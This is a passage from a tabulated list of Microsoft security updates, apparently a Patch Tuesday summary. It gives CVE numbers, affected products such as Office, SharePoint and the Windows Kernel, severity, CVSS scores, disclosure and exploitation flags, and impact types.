Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature 